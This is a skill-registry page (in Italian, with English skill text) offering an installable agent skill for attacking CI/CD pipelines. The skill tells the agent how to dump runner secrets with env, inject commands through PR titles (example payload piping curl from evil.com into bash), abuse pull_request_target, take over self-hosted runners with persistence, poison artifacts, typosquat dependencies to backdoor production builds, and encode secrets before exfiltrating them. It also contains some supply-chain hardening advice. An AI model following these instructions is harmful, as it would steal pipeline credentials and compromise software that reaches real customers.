Vai al contenuto
New

DeepSeek V4.1 Flash free for 7 days: 10M tokens a day after a top-up of $10 or more. Until Nov 30.

How it works
aeondave/cicd-techniqueLinux, cloud e container

cicd-technique

⁨CI/CD supply chain methodology: identifying poisoned pipelines, unsafe GitHub Actions, and extracting build secrets.⁩

v2026.11.13-21cd5682 installazioni+2 in 7 giorni39 Stellesincronizzato 10 ore fa

Installa

Non hai ancora la CLI di NotHoly? Installala prima.

$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install aeondave/cicd-technique

Scrive in ⁦~/.notholy/skills⁩ dopo aver controllato la firma e lo SHA-256.

FirmaFirmato, ed25519
hEtcibe0Ab…xEYKgqCw==La CLI controlla lo SHA-256 e la firma prima di scrivere qualsiasi file.
Pacchetto98555972…127acd1f
98555972dee3…c60f127acd1f1 file · ⁦2.8 KB⁩
ScansioneMedio3 segnalazioni
  • command.pipe_to_shellSKILL.md:28
  • Nessuna licenza trovata
  • Link a domini esterni
Vedi la scansione completa
Sorgentegithub.com/AeonDave/malskill/tree/main/offensive-techniques/cicd-technique@21cd568

Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.

Goal: Exploit CI/CD pipelines (GitHub Actions, GitLab CI, Jenkins) to achieve code execution in runners, extract pipeline secrets, or backdoor production artifacts.

When this technique applies

  • Evaluating a repository for supply chain vulnerabilities.
  • Gained access to a repository with write permissions to Pull Requests, Issues, or Wiki.
  • Compromised a CI/CD runner container.

The Execution Workflow

1. Runner Context Enumeration

If you achieved execution within a pipeline step (e.g., via Poisoned PR):

  • Dump secrets: Run env, search for AWS_ACCESS_KEY_ID, GITHUB_TOKEN, or $NPM_TOKEN.
  • Identity: For GitHub, investigate ACTIONS_ID_TOKEN_REQUEST_URL for OIDC (OpenID Connect) trust to AWS/GCP/Azure.

2. Identifying Injection Vectors

Review the pipeline configuration files (.github/workflows/*.yml, .gitlab-ci.yml, Jenkinsfile).

  • Untrusted Input in Scripts: Look for run: blocks that echo/execute issue names, PR titles, or commit messages without sanitization:
    yaml
    - run: echo "Checking PR title: ${{ github.event.pull_request.title }}"
    (A PR titled "; curl http://evil.com/shell.sh | bash; " will execute).
  • pull_request_target Abuse ("pwn request"): Workflows using pull_request_target run with elevated repository permissions and access to secrets. If they explicitly check out the fork's head (ref: ${{ github.event.pull_request.head.sha }}) and then run npm install, make, or any build step, attacker code executes with the workflow's full privileges.
  • Self-Hosted Runner Takeover: Non-ephemeral self-hosted runners on public repos are compromised by submitting a PR that adds a job with runs-on: self-hosted. The first-time contributor gate can be bypassed once any prior PR is merged; the runner then executes attacker code, and persistence (cron/systemd/.bashrc) is often possible because the runner reuses the same workspace between jobs. Named 2024 cases: PyTorch, TensorFlow, Microsoft DeepSpeed.
  • Artifact Poisoning: A low-privilege workflow (fork PR) uploads a malicious artifact; a later privileged workflow downloads it and executes/extracts it. Watch for actions/download-artifact without github-token + run-id pinning, and dawidd6/action-download-artifact <v6 (searches forks by default — GHSA-5xr6-xhww-33m4). Also actions/download-artifact <4.1.3 has arbitrary-file-write on extraction (GHSA-cxww-7g56-2vh6).

3. Pipeline Poisoning (Artifacts)

  • Identify if the pipeline builds the production Docker image or binaries.
  • If you can push code or control dependencies (e.g., typosquatting package.json), you can implant backdoors natively into the production deployment cycle.

Resolver and cache checks

  • Python/pip: --extra-index-url is not a lower-priority fallback: pip checks all configured locations and selects the best matching version. Audit installs for private names also exposed to public indexes; use a controlled source for those names. pip install: finding packages.
  • GitHub Actions cache: Trace cached paths, key/restore-keys, and privileged consumers. Fork-PR workflows can restore base-branch caches, while caches they create are merge-ref scoped; low-trust default-branch triggers are read-only by default unless a write-capable cache-mode override is set. Check whether privileged workflows execute restored contents. GitHub cache restrictions and low-trust triggers.

Supply-chain assurance

  • Preserve one immutable identity chain: source revision and declared inputs → builder/build provenance → artifact digest → tests and signature → promoted artifact; verify artifact tests, signatures, and promotion reference the same artifact digest, not a rebuilt or substituted file. SLSA build provenance.
  • Treat an SBOM as a component inventory, not evidence that the artifact has no vulnerabilities; use VEX to record vulnerability applicability for the exact product/version with a justification or impact statement.
  • Verify signatures/provenance against policy: artifact digest and builder identity bind claims to bytes and a build identity, but neither alone establishes that the builder or output is trustworthy. SLSA verification.
  • Pin GitHub Actions to a full-length commit SHA (and verify it belongs to the intended upstream repository), not a mutable tag; retain dependency lockfiles for the action's build where applicable. GitHub security hardening.

Quality Gates

  • Beware of Production Impact: Do not blindly merge poisoned Pull Requests into main. Injecting a backdoor into a build pipeline will trigger incident response or deploy malware to live customers. Keep proofs restricted to harmless env | grep outputs (secrets are log-masked; base64/hex-encode before exfil) sent to an out-of-band (OAST) collector.
  • Avoid Credential Rolling: Only read CI/CD secrets. Do NOT rotate or regenerate them, as it will break the production pipeline completely.

File di questa versione

Permessi

PermessoDichiaratoTrovato dalla scansione
Legge fileNoNo
Scrive fileNoNo
Esegue comandi shellSìSì
Usa la reteSìSì
Usa i connettoriNoNo
Controlla un browserNoNo

Segnalazioni della scansione

Rivisto il 13 nov 2026

  1. MediaComando · command.pipe_to_shellSKILL.md:28
  2. MediaLicenza · Nessuna licenza trovata
  3. InfoLink · Link a domini esterni

Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.

VersionePubblicataCommitSHA-256FirmaCambio di permessi
v2026.11.13-21cd56813 nov 202621cd56898555972Firmata–

Chiedi tutto quello che il tuo perimetro consente.

Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.

  1. 1/3

    Crea l'account

    Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.

    PrivatoAzienda
  2. 2/3

    Aggiungi crediti

    Con carta. Paghi a token, senza abbonamento.

    $5.00ricarica minima
  3. 3/3

    Chiedi

    In chat, oppure installa la CLI ed esegui notholy login nel terminale.

    $ notholy login